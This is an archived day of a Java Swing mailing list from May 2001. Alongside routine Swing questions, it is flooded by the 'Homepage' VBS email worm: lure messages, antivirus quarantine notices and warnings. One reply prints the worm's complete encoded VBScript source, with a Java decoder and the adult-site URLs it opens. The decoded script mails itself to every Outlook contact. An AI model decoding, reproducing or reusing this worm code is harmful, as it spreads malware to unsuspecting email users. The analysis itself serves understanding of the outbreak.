Looking for good spreadsheet Java Bean...

2001-05-10 Thread Reynshteyn, Leonid

Does any one know of some nice commercially available spreadsheet control in
Java Swing? It would be nice if it enabled users to copy/paste text from
Microsoft Excel.

Thanks.
---
 Lenny Reynshteyn
 Information Technology
 Goldman Sachs
 New York



___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



MyPointlessBean

2001-05-10 Thread KC_Eilander



Hi,

 This is one of those incredibly stupid questions, but here goes...

 I jar up a java bean with the following command line:
jar cfm mypointlessbean.jar MyPointlessBean.mf mypointlessbean

 Everything gets packaged OK, but beanbox hates it.  I don't blame it.
When I  extract the META-INF/MYPOINTLESSBEAN.MF it doesn't look right.
it is only three lines and contains no signatures:
 Manifest-Version: 1.0
 Created-By: 1.3.0 (Sun Microsystems Inc.)
 Name: mypointlessbean/MyPointlessBean.class

 Anyone into beans, I would appreciate any help!
-KC


P.S. Here's some more info on the problem...

I have a directory structure as follows:
/ MyPointlessBean.mf
/mypointlessbean/MyPoinlessBean.class

MyPointless bean looks like:
package mypoinless bean;
public class MyPoinlessBean extends javax.swing.JPanel
implements java.io.Serializable{
 public someMethod() {}
};

My manifest file looks like:
Manifest-Version: 1.0
Name: mypointlessbean/MyPointlessBean.class
Java-Bean: True


___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



JTable tooltip placement

2001-05-10 Thread John Caron

This is a continuation of the "JTable and ToolTips per Cell" thread from 
January 4, 2001.

To summarize, to add tooltips to a JTable, extend the CellRenderer, eg:

   jtable = new JTable();
   jtable.setDefaultRenderer(Object.class, new MyTableCellRenderer() );
   ToolTipManager.sharedInstance().registerComponent(jtable);

   private class MyTableCellRenderer extends 
javax.swing.table.DefaultTableCellRenderer {

 public Component getTableCellRendererComponent( JTable table, 
Object value,
boolean isSelected, boolean hasFocus, int row, int column) {

   Component c = super.getTableCellRendererComponent( table, value, 
isSelected,
hasFocus, row, column);

   if (value instanceof NamedObject) {
 
((JComponent)c).setToolTipText(((NamedObject)value).getDescription());
   }
   // LOOK!! should turn tip off if there is none !!

   return c;
 }
   }

So this works fine except that the placement of the tooltip is wrong 
when the JTable is on the left edge of the screen, in which case long 
tooltips get their left part chopped off. For some reason the 
ToolTipManager doesnt do its normal job of placing tooltips correctly 
near the window edge.

Now if I add a getToolTipLocation() method to MyTableCellRenderer, it 
never gets called. When I add getToolTipLocation() method to the JTree, 
the tooltip blinks like crazy like its in some loop, then sometimes 
finally displays the tooltip, but in the same location as before.

 // add tooltips
   private class MyJTable extends javax.swing.JTable {

 public Point getToolTipLocation(MouseEvent e) {
   return e.getPoint();
 }
   }

If getToolTipLocation() returns null, then I get the previous behavior 
of chopping off the edge of the screen.

This is all in JDK 1.3. Anyone have any ideas on why the tooltip 
location is unusual?

thanks,
John Caron

___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Re: Replacing the JList as the JComboBox popup

2001-05-10 Thread John caron

"Farwell, Paul" <[EMAIL PROTECTED]> asked:

> We have a calendar component that we want displayed when the user clicks the
> JComboBox arrow.  Does anyone know a relatively painless way to set a
> component -- other than the default JList -- as the popup item in a
> JComboBox? In looking at the JComboBox source and its delegates (e.g.
> BasicComboBoxUI, BasicComboPopup) it looks as if JList is pretty tightly
> coupled as the JComboBox's popup component. 

Yes, I couldnt find a way to replace JList. I ended up building my own, wasnt as hard 
as subclassing JComboBox. 

If you want to look at what i did, you can get our (LGPL) source snapshot at 

  ftp://ftp.unidata.ucar.edu/pub/metapps/metapps_src.jar

and look at ucar.unidata.ui.SuperComboBox. 



Regards, John

___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Re(2): Homepage

2001-05-10 Thread Norell Peter

Nicholas Wright  (5/10/01  11:29 AM):
>I'm on Unix, so not too bothered about this virus.
>
>However, what really irritates me...
>
>   ... the virus is encrypted and I can't find out the porn site web 
>   addresses.
>

Easy. They are:
http://hardcore.pornbillboard.net/shannon/1.htm

http://members.nbci.com/_XMCM/prinzje/1.htm

http://www2.sexcropolis.com/amateur/sheila/1.htm

http://sheila.issexy.tv/1.htm

A very simple randomising function is used to select one of them.

---

Have not made an Swing-front end yet, but here is java-code that
simulates the uncrypting of the virus (it is quite simple):


public class Virus
{
private static String toDecode = 
"QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0CvGpfQhUvtgco>@VtwgUetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrUgvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUetkrvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^ockngf$+>@$3$vjgpOcknkv*+GpfKhUgvu?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpYU0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtTguwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+KhQwvnqqm?$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0CfftguuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv>@2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3VqEqpvcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlgev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvquggvjkurcig#Kv)utgcnn{eqqn=Q+$(xdetnh(xdetnhUgvCvvcejogpv?Ockn0CvvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0FgngvgChvgtUwdokv?VtwgKhOckn0Vq>@$$VjgpOckn0UgpfYU0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpfkhGpfHwpevkqp";

public static void main(String arg[])
{
StringBuffer sb = new StringBuffer();
for(int i = 0; i < toDecode.length(); i++)
{
char c = toDecode.charAt(i);
switch(c)
{
case 15:
sb.append( (char)10 );
break;
case 16:
sb.append( (char)13 );
break;
case 17:
sb.append( ' ' );
break;
case 18:
sb.append( (char)9 );
default:
sb.append( (char)(c - 2) );
}
}

System.out.println(sb);
}
}




I am curious why they decided to avoid ascii 7 (BELL), the other characters
is more easily explainable, like BS and RS (I guess outlook/VB interprets the BS as
a BS and removed characters from the string).

Yours sincerely
Peter Norell

Ps. 
The decoding of the virus if for information gathering only, I will personaly
spank people with a wet noodle if they use my code to copy and extend the virus and
pass the virus further on.
Ds.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Antigen found =*.VBS file

2001-05-10 Thread NCTR ANTIGEN_EXCHANGE01

Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter.
The file is currently Removed.  The message, "Homepage", was
sent from Phil Johnston  and was discovered in IMC Queues\Inbound
located at NatCenToxRes/NCTR/EXCHANGE01.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Homepage

2001-05-10 Thread Michael Spinks


Hi!

You've got to see this page! It's really cool ;O)




<>


Antigen found =*.VBS file

2001-05-10 Thread NCTR ANTIGEN_EXCHANGE01

Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter.
The file is currently Removed.  The message, "Homepage", was
sent from Nick Carter  and was discovered in IMC Queues\Inbound
located at NatCenToxRes/NCTR/EXCHANGE01.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Antigen found =*.VBS file

2001-05-10 Thread NCTR ANTIGEN_EXCHANGE01

Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter.
The file is currently Removed.  The message, "Homepage", was
sent from Michael Spinks  and was discovered in IMC Queues\Inbound
located at NatCenToxRes/NCTR/EXCHANGE01.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Homepage

2001-05-10 Thread Phil Johnston


Hi!

You've got to see this page! It's really cool ;O)




<>


WARNING: THE FILE CONTAINS A VBS-SKRIPT: Homepage

2001-05-10 Thread Stefan Dingfelder

Please stop kidding with this Virus skripts.

Serguei Ouklonski wrote:

> Hi!
>
> You've got to see this page! It's really cool ;O)
>
>   --
> Name: homepage.HTML.vbs
>homepage.HTML.vbsType: MPEG Video (video/mpeg)
> Encoding: quoted-printable

___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Antigen found =*.VBS file

2001-05-10 Thread NCTR ANTIGEN_EXCHANGE01

Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter.
The file is currently Removed.  The message, "Homepage", was
sent from Phil Johnston  and was discovered in IMC Queues\Inbound
located at NatCenToxRes/NCTR/EXCHANGE01.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Re: Homepage

2001-05-10 Thread Colin Vipurs

Phil, looks like you've been caught by the latest .vbs virus.

->You've got to see this page! It's really cool ;O)
->
->
->
->
->


Colin Vipurs
R&D, The Press Association, Howden
(01430) 455 582

'You're invited but your friend can't come'

___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Homepage

2001-05-10 Thread Serguei Ouklonski


Hi!

You've got to see this page! It's really cool ;O)




<>


Antigen found =*.VBS file

2001-05-10 Thread NCTR ANTIGEN_EXCHANGE01

Antigen for Exchange found homepage.HTML.vbs matching =*.VBS file filter.
The file is currently Removed.  The message, "Homepage", was
sent from Serguei Ouklonski  and was discovered in IMC Queues\Inbound
located at NatCenToxRes/NCTR/EXCHANGE01.
___
Advanced-swing mailing list
[EMAIL PROTECTED]
http://eos.dk/mailman/listinfo/advanced-swing



Homepage

2001-05-10 Thread Michael Spinks


Hi!

You've got to see this page! It's really cool ;O)




<>


Homepage

2001-05-10 Thread Phil Johnston


Hi!

You've got to see this page! It's really cool ;O)




<>


Homepage

2001-05-10 Thread Nick Carter


Hi!

You've got to see this page! It's really cool ;O)




<>